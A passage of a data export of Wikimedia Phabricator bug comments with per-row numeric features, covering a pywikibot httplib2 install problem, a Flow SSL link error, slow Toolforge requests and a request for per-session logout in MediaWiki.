**Severity**: normal

**Attached**: {F12229}"
265464,setup.py should require httplib2,"Change 92765 merged by jenkins-bot:
Fix dependency installation during setup.py install

https://gerrit.wikimedia.org/r/92765",,,1383201583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,False,,,-87,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.294117647058823,1.0,"Change 92765 merged by jenkins-bot:
Fix dependency installation during setup.py install

GERRIT_URL"
265457,setup.py should require httplib2,"Change 92765 had a related patch set uploaded by Merlijn van Deen:
Fix dependency installation during setup.py install

https://gerrit.wikimedia.org/r/92765",,,1383165224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.181818181818182,1.0,"Change 92765 had a related patch set uploaded by Merlijn van Deen:
Fix dependency installation during setup.py install

GERRIT_URL"
265450,setup.py should require httplib2,"Created attachment 13633
install log

OK, I can reproduce it:

wget http://tools.wmflabs.org/pywikibot/core.tar.gz
tar -xvzf core.tar.gz
cd core
virtualenv .
source bin/activate
python setup.py install | tee installog

results in the attached installog, and not in a working httplib2...

**Attached**: {F12230}",,,1383164675,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7777777777777777,0.746031746031746,"Created attachment 13633
install log

OK, I can reproduce it:

wget URL
tar -xvzf core.tar.gz
cd core
virtualenv .
source bin/activate
python setup.py install | tee installog

results in the attached installog, and not in a working httplib2...

**Attached**: {F12230}"
265444,setup.py should require httplib2,"I'm confused by this, as setup.py /does/ require httplib2:



    install_requires=[
        'httplib2>=0.6.0'
    ],
    dependency_links=[
        'https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1'
    ],



Which core.tar.gz did you download? http://tools.wmflabs.org/pywikibot/core.tar.gz , or some other version?",,,1383164291,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,True,,,-88,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,4.0,9.0,4.0,7.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.666666666666667,0.7333333333333333,"I'm confused by this, as setup.py /does/ require httplib2:



    install_requires=[
        'httplib2>=0.6.0'
    ],
    dependency_links=[
        'URL
    ],



Which core.tar.gz did you download? URL , or some other version?"
265436,setup.py should require httplib2,"Of course installing the right dependency:

pip install https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1

Solves the issue. This should be automatic.",,,1383164186,,PHID-USER-lkjgj76544v3vn63zgtk,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.333333333333333,0.8571428571428571,"Of course installing the right dependency:

pip install URL

Solves the issue. This should be automatic."
58280,Flow: SSL error on email notifications,"Visit a link in an email notification for a Flow event – you'll receive an SSL error.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1382995560,1383175363.0,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,False,PHID-TASK-tdujfoz6otc4aeopydss,task_description,resolved,True,c3,1,True,False,True,-88,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.675675675675676,0.7027027027027027,"Visit a link in an email notification for a Flow event – you'll receive an SSL error.

--------------------------
**Version**: master
**Severity**: normal"
259300,Flow: SSL error on email notifications,"**bsitu** wrote:

solved by configuring the server",,,1383175363,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.4615384615384617,0.7692307692307693,"**bsitu** wrote:

solved by configuring the server"
259299,Flow: SSL error on email notifications,"**bsitu** wrote:

same for the following code:

global $wgServer;
echo $wgServer;


http://ee-flow.wmflabs.org vs //ee-flow.wmflabs.org",,,1383160996,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.433333333333333,0.7333333333333333,"**bsitu** wrote:

same for the following code:

global $wgServer;
echo $wgServer;


URL vs //ee-flow.wmflabs.org"
259297,Flow: SSL error on email notifications,"**bsitu** wrote:

I guess it's an configuration problem in ee-flow labs instance, the code below outputs 'http' in /maintenance/eval.php and 'https' in a web page

echo SpecialPage::getTitleFor( 'Flow', 'Test' )->getFullURL( 'foo=bar', false, PROTO_HTTPS );",,,1383160738,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,6.0,8.0,0.0,15.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,3.4242424242424243,0.696969696969697,"**bsitu** wrote:

I guess it's an configuration problem in ee-flow labs instance, the code below outputs 'http' in /maintenance/eval.php and 'https' in a web page

echo SpecialPage::getTitleFor( 'Flow', 'Test' )->getFullURL( 'foo=bar', false, PROTO_HTTPS );"
259293,Flow: SSL error on email notifications,"The WMF core features team tracks this bug on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/375, but people from the community are welcome to contribute here and in Gerrit.",,,1383032735,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,19.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.346153846153846,1.0,The WMF core features team tracks this bug on Mingle card URL but people from the community are welcome to contribute here and in Gerrit.
259290,Flow: SSL error on email notifications,What's an example link of what you're being given?,,,1382995963,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,What's an example link of what you're being given?
58244,http request slow,"Some ""plain-text"" files like JS code is extremely slow to access. This has started only today. Example:

http://tools.wmflabs.org/magnustools/resources/js/bootstrap.min.js

Sometimes it works, though. Some lighttp issue?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1382970960,1383054215.0,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,False,PHID-TASK-b72cdsauh2jnmacolc7w,task_description,resolved,True,c3,1,False,False,True,-88,True,4.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7636363636363637,0.7090909090909091,"Some ""plain-text"" files like JS code is extremely slow to access. This has started only today. Example:

URL

Sometimes it works, though. Some lighttp issue?

--------------------------
**Version**: unspecified
**Severity**: normal"
256867,http request slow,"Same issue as 56158

*** This bug has been marked as a duplicate of bug 56158 ***",,,1383054215,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-b72cdsauh2jnmacolc7w,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6363636363636364,"Same issue as 56158

*** This bug has been marked as a duplicate of bug 56158 ***"
58212,Add a feature to track and terminate specific login sessions,"In facebook ( https://www.facebook.com/settings?tab=security ), one can selectively log ones self out of other current sessions, but in Mediawiki, one is helpless if one wants to log out of a session for which one no longer has access to the terminal of.

Please implement being able to log out of selected other sessions, or at least a way of logging out of everything everywhere, short of changing one's password.

From the other task:

Currently, there’s no way for me to see which sessions are valid/active for my account on Wikimedia projects – if I want to be sure that I can’t be compromised by an old session, I have to change my password. It would be useful if MediaWiki instead offered a way to list those sessions, and ideally allowed me to selectively terminate them as well.

GitHub and Twitter have such a feature, for example:
{F30311189, layout=inline} {F30311223, layout=inline}

In MediaWiki, this is currently offered by [Extension:SecureSessions](https://www.mediawiki.org/wiki/Extension:SecureSessions) (CC @Parent5446), but that extension isn’t deployed on Wikimedia wikis and also doesn’t always work, for example due to T73066; in T73066#2386198, @Anomie outlined an alternative way to track sessions. I think it might be worth adding this as a core feature.

See also:
{T55156}",Needs Triage,90.0,1382874660,,PHID-USER-awbqewknju4hbrnah6pm,False,,False,PHID-TASK-bnxu7zommqo3txisxlf7,task_description,open,True,c3,1,False,False,,-88,True,0.0,0.3333333333333333,0.0,1.0,0.0,5.333333333333333,2.0,0.0,0.0,1.0,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,6.333333333333333,14.666666666666666,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,4.333333333333333,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,0.6666666666666666,2.0,0.0,0.0,0.0,10.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,3.3333333333333335,9.666666666666666,1.3333333333333333,2.0,6.0,0.0,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,14.666666666666666,4.666666666666667,0.0,0.0,0.0,4.666666666666667,0.0,0.6666666666666666,2.3333333333333335,1.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.984313725490196,0.7215686274509804,"In facebook ( URL ), one can selectively log ones self out of other current sessions, but in Mediawiki, one is helpless if one wants to log out of a session for which one no longer has access to the terminal of.

Please implement being able to log out of selected other sessions, or at least a way of logging out of everything everywhere, short of changing one's password.

From the other task:

Currently, there’s no way for me to see which sessions are valid/active for my account on Wikimedia projects – if I want to be sure that I can’t be compromised by an old session, I have to change my password. It would be useful if MediaWiki instead offered a way to list those sessions, and ideally allowed me to selectively terminate them as well.

GitHub and Twitter have such a feature, for example:
{F30311189, layout=inline} {F30311223, layout=inline}

In MediaWiki, this is currently offered by [Extension:SecureSessions](URL (CCSCREEN_NAME), but that extension isn’t deployed on Wikimedia wikis and also doesn’t always work, for example due to T73066; in T73066#2386198,SCREEN_NAME outlined an alternative way to track sessions. I think it might be worth adding this as a core feature.

See also:
{T55156}"
1922028,Add a feature to track and terminate specific login sessions,">>! In T58212#7951705, @Iniquity wrote:
> As far as I know, we save information about the session

We don't, on several levels:
* We don't store information that would help the user identify the session (IP/geodata, user agent etc).
* We do not store the sessions in such a way that would allow querying all sessions for a given user - they are just values in a key-value store that's keyed by the session cookie's value (although Wikimedia uses Cassandra for that, so infrastructurally a secondary index by user ID wouldn't be a big change, but it would have to circumvent all the session store abstractions in MediaWiki, which don't assume anything beyond a key-value store).
* Most crucially, sessions (in the MediaWiki sense) aren't even that relevant to staying logged in. They have a short lifetime; what the user perceives as long-term ""sessions"" are really just tokens stored in the user table and matched against a long-lived cookie. That's going to be the same token for all devices where the user is logged in; there isn't any kind of individual data structure for each of those devices.",,,1653421123,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,3,True,,,359,True,2.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,2.3333333333333335,3.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,0.0,3.0,2.0,0.0,0.0,0.3333333333333333,1.0,0.0,6.666666666666667,9.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,5.333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,3.0,0.0,0.0,0.0,1.0,0.0,12.666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,6.666666666666667,2.6666666666666665,5.0,0.6666666666666666,0.6666666666666666,10.666666666666666,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,2.0,9.0,2.3333333333333335,0.0,1.0,0.0,2.0,0.0,2.3333333333333335,3.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.8584474885844746,0.7123287671232875,"QUOTE
QUOTE

We don't, on several levels:
* We don't store information that would help the user identify the session (IP/geodata, user agent etc).
* We do not store the sessions in such a way that would allow querying all sessions for a given user - they are just values in a key-value store that's keyed by the session cookie's value (although Wikimedia uses Cassandra for that, so infrastructurally a secondary index by user ID wouldn't be a big change, but it would have to circumvent all the session store abstractions in MediaWiki, which don't assume anything beyond a key-value store).
* Most crucially, sessions (in the MediaWiki sense) aren't even that relevant to staying logged in. They have a short lifetime; what the user perceives as long-term ""sessions"" are really just tokens stored in the user table and matched against a long-lived cookie. That's going to be the same token for all devices where the user is logged in; there isn't any kind of individual data structure for each of those devices."
1921485,Add a feature to track and terminate specific login sessions,"As far as I know, we save information about the session, perhaps now it only needs to be displayed?",,,1653349352,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,3,False,,,359,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,9.0,0.0,23.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,14.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.9545454545454546,"As far as I know, we save information about the session, perhaps now it only needs to be displayed?"
518153,Add a feature to track and terminate specific login sessions,T110277 will fundamentally change session handling.,,,1441079642,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.571428571428571,1.0,T110277 will fundamentally change session handling.
518152,Add a feature to track and terminate specific login sessions,">>! In T58212#643013, @MZMcBride wrote:
>> [[mw:Extension:SecureSessions]] only allows you to log out all sessions at
>> once, not individual sessions.
> 
> Hmmm, interesting. So could this be a feature request for that extension, then?

Not a simple one, though. As long as you terminate all sessions at the same time, it is enough to keep a single token in the user table and replace it when every session needs to be logged out. For per-session logout, you would need some kind of table keeping track of sessions.",,,1441079607,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,3,True,,,8,True,4.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,14.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.619718309859155,0.7183098591549296,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not a simple one, though. As long as you terminate all sessions at the same time, it is enough to keep a single token in the user table and replace it when every session needs to be logged out. For per-session logout, you would need some kind of table keeping track of sessions."
279538,Add a feature to track and terminate specific login sessions,"What wiki users want is not a factor in determining what features are included in MediaWiki core. If only 1% of sysadmins install the extension on their wiki, it's not MediaWiki's responsibility to correct the others. In fact, it's better if sysadmins have the choice of what they want to provide to their users

In addition, there is very little reason to have a selective logout feature. Managing sessions is usually done for security purposes, i.e., if you left your account logged in somewhere and you're worried somebody might use it. In these cases it is safer to just reset all sessions.",,,1383051117,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,1.0,1.0,1.0,1.5,1.0,5.0,1.5,0.0,0.0,2.0,5.0,1.0,0.0,0.5,1.0,0.0,0.5,5.0,12.0,1.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.5,1.5,2.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,2.0,0.0,4.5,0.0,1.0,0.0,0.0,0.0,10.5,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.5,3.0,3.5,5.0,2.0,1.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,7.0,12.0,1.0,0.0,0.0,0.0,7.0,0.0,1.5,1.5,0.0,1.5,1.5,0.0,1.0,4.186440677966102,0.7627118644067796,"What wiki users want is not a factor in determining what features are included in MediaWiki core. If only 1% of sysadmins install the extension on their wiki, it's not MediaWiki's responsibility to correct the others. In fact, it's better if sysadmins have the choice of what they want to provide to their users

In addition, there is very little reason to have a selective logout feature. Managing sessions is usually done for security purposes, i.e., if you left your account logged in somewhere and you're worried somebody might use it. In these cases it is safer to just reset all sessions."
279532,Add a feature to track and terminate specific login sessions,"What if the ability to logout itself was left to an extension?

Then only users of the 1% of the wikis where the administrator had the grace to install such extension could log out.

In this case we are forced to leave a hanging session available at Bob's house for anyone who would like to use it.

Therefore we see that such basic security should not be left for extensions, and thus belongs in the core.",,,1382910140,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,0.0,1.0,0.0,3.0,1.0,5.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,7.0,17.0,1.0,5.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,5.0,17.0,2.0,1.0,0.0,0.0,5.0,0.0,3.0,2.0,1.0,1.0,0.0,0.0,0.0,3.883720930232558,0.7790697674418605,"What if the ability to logout itself was left to an extension?

Then only users of the 1% of the wikis where the administrator had the grace to install such extension could log out.

In this case we are forced to leave a hanging session available at Bob's house for anyone who would like to use it.

Therefore we see that such basic security should not be left for extensions, and thus belongs in the core."
279527,Add a feature to track and terminate specific login sessions,"(In reply to comment #4)
> [[mw:Extension:SecureSessions]] only allows you to log out all sessions at
> once, not individual sessions.

